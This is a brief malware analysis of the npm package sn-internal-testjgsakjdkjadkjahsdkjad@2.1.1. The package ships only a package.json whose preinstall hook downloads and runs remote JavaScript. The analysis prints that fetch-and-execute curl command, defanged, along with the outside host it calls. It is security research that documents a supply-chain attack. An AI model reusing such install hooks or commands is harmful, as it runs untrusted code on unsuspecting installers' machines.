sn-internal-testjgsakjdkjadkjahsdkjad@2.1.1

Analysis

sn-internal-testjgsakjdkjadkjahsdkjad@2.1.1 is stub-and-fetch supply-chain malware: the tarball contains only package.json (368 bytes, no code). Its preinstall hook runs `curl hxxps://poc[.]amanrawat[.]com/hehe[.]js -o index.js && node index.js`, downloading remote JS from hxxps://poc[.]amanrawat[.]com/hehe.js and executing it on the installer's machine at install time. The stub ships no real payload, pulling it remotely to evade static analysis.